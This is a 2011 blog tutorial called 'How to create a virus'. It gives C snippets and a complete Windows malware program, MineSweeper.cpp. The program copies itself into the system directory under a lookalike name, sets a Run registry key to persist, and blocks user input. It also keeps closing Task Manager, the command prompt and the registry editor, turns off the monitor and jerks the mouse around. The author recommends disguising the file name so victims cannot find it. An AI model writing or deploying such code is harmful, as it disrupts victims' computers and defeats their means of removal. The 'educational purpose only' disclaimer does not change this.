Saturday 28 May 2011

HOW TO CREATE A VIRUS

*Create a thread that runs WHILE your other code runs
*Block and Destroy Task Manager and other windows
*ShellExecute (basics, nothing fancy)
*Turn Off/On The Monitor
*Make The Mouse Go Crazy
*Viruses are fun :lol: :lol:
Some Tips
always remember that these virus piss people off, there for please don’t name them anything like “svchost” or something that the computer HAS to have to run. If you ever got infected you would want to Babel to find the virus. Names don’t mater, but what you should do is the take a name of a program and add or change a letter (in the examples i use “winminer.exe”, instead of “winmine.exe”).
also, try to keep your code clean, the “int main()” should be the smallest part of your program. always split stuff up into voids or other stuff.
1: Creating A Thread (CreateThread())
now im not to good at this, but Threads are VERY useful. think of it like this, a normal program runs line by line, or command by command. a Thread will make a create a separate line of commands apart from the others.
Example
CODE C Language
view source
print?
01 DWORD WINAPI DestroyWindows(LPVOID)
02 {
03 //your code would go here
04 }
05
06 int main()
07 {
08 CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
09 while(1)
10 {
11 Sleep(10);
12 }
13 }
a Thread will not keep the program running, so after you make your thread you need to make sure that the program will still run.
Destroying Task Manager and other Windows
now this is really easy and not hard to understand. to find the task manager window or other windows all you have to do is use the “FindWindow()” function.
example
CODE C Language
view source
print?
1 HWND TaskMgr;
2 TaskMgr = FindWindow(NULL,”Windows Task Manager”);
so now all you have to do is tell it to do something to the window…
example
CODE C Language
view source
print?
1 TaskMgr = FindWindow(NULL,”Windows Task Manager”);
2 if( TaskMgr != NULL )
3 {
4 PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
5 }
first it will try to find task manager, then if its found it sends it a message to close the program. easy rite? :D
ShellExecute()
ShellExecute() is a function that will execute other programs ( ShellExecute). you can execute almost anything will this function using this code
example
CODE C Language
view source
print?
1 char Notepad[MAX_PATH]=”notepad.exe”;
2 ShellExecute(NULL,”open”,Notepad,NULL,NULL,SW_MAXIMIZE);
that code will open up a blank notepad. you can also use other things like “char Website[MAX_PATH] = “http:\\www.google.com”, that will open up google in your browser.
Turn Off/On The Monitor
this code i just recently learned from using the most powerful tool on earth, GOOGLE, you can use it to turn off the monitor (not the computer) or turn it back on.
example
CODE C Language
view source
print?
1 SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
2 Sleep(5000);
3 SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);
that code will turn the monitor off, wait 5 seconds, then turn it back on. simple.
Making The Mouse Go CRAZY
this is really simple to learn also. you just have to make 2 random variables (x, y) and then tell the mouse to go to them.
example
CODE C Language
view source
print?
1 X = rand()%801;
2 Y = rand()%601;
3 SetCursorPos( X, Y );
that would make X a random number 0 – 800, and Y a random number 0 – 600. then it sets the mouse to that position.
Viruses are fun :lol: :lol:
well that all for now. here is a simple virus i made using the functions from this tutorial and my other past tutorial.
MineSweeper.cpp
CODE C Language
view source
print?
001 #include <iostream>
002 #include <stdio.h>
003 #include <windows.h>
004 #include <winable.h>
005 #include <conio.h>
006 #include <ctime>
007 using namespace std;
008
009 int random, Freq, Dur, X, Y;
010 HWND mywindow, TaskMgr, CMD, Regedit;
011 char Notepad[MAX_PATH]=”notepad.exe”;
012 char MineSweeper[MAX_PATH]=”winmine.exe”;
013 char Hearts[MAX_PATH]=”mshearts.exe”;
014 char Website[MAX_PATH]=”http:\\www.google.com”;
015
016 void SetUp();
017 void Run( int ID );
018 void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();
019
020 DWORD WINAPI DestroyWindows(LPVOID);
021
022 int main()
023 {
024 srand( time(0) );
025 random = rand()%6;
026 system(“title :.Virus.:”);
027 BlockInput( true );
028 SetUp();
029 BlockInput( false );
030 CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
031 while(1)
032 {
033 Run( random );
034 Sleep(10);
035 }
036 }
037 void SetUp()
038 {
039 char system[MAX_PATH];
040 char pathtofile[MAX_PATH];
041 HMODULE GetModH = GetModuleHandle(NULL);
042 GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
043 GetSystemDirectory(system,sizeof(system));
044 strcat(system,”\\winminer.exe”);
045 CopyFile(pathtofile,system,false);
046
047 HKEY hKey;
048 RegOpenKeyEx(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”,0,KEY_SET_VALUE,&hKey );
049 RegSetValueEx(hKey, “SetUp”,0,REG_SZ,(const unsigned char*)system,sizeof(system));
050 RegCloseKey(hKey);
051
052 mywindow = FindWindow(NULL,”:.Virus.:”);
053 cout<<”You Are Doomed”;
054 Sleep(1000);
055 ShowWindow(mywindow, false);
056 }
057
058 void Run( int ID )
059 {
060 if( ID == 1 )
061 {
062 BlockInput(true);
063 }
064 else if( ID == 2 )
065 {
066 Beeper();
067 }
068 else if( ID == 3 )
069 {
070 OpenStuff();
071 }
072 else if( ID == 4 )
073 {
074 Hibernation();
075 }
076 else if( ID == 5 )
077 {
078 CrazyMouse();
079 }
080 else
081 {
082 BlockInput(true);
083 Beeper();
084 OpenStuff();
085 CrazyMouse();
086 }
087 }
088
089 void Beeper()
090 {
091 Freq = rand()%2001;
092 Dur = rand()%301;
093 Beep( Freq, Dur );
094 }
095 void OpenStuff()
096 {
097 ShellExecute(NULL,”open”,Notepad,NULL,NULL,SW_MAXIMIZE);
098 ShellExecute(NULL,”open”,MineSweeper,NULL,NULL,SW_MAXIMIZE);
099 ShellExecute(NULL,”open”,Hearts,NULL,NULL,SW_MAXIMIZE);
100 ShellExecute(NULL,”open”,Website,NULL,NULL,SW_MAXIMIZE);
101 }
102 void Hibernation()
103 {
104 Sleep(1000);
105 SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
106 }
107 void CrazyMouse()
108 {
109 X = rand()%801;
110 Y = rand()%601;
111 SetCursorPos( X, Y );
112 }
113
114 DWORD WINAPI DestroyWindows(LPVOID)
115 {
116 while(1)
117 {
118 TaskMgr = FindWindow(NULL,”Windows Task Manager”);
119 CMD = FindWindow(NULL, “Command Prompt”);
120 Regedit = FindWindow(NULL,”Registry Editor”);
121 if( TaskMgr != NULL )
122 {
123 SetWindowText( TaskMgr, “You Suck Balls Superman”);
124 PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
125 }
126 if( CMD != NULL )
127 {
128 SetWindowText( CMD, “You Suck Balls Superman”);
129 PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
130 }
131 if( Regedit != NULL )
132 {
133 SetWindowText( Regedit, “You Suck Balls Superman”);
134 PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
135 }
136
137 Sleep(10);
138 }
139 }
Quick description: i created a thread that looks for Task Manager, CMD, and Regedit. When it finds 1, it closes it. i also made the virus do random things, so every time you restart your computer you get a new effect.
Note:This is for educational purpose only…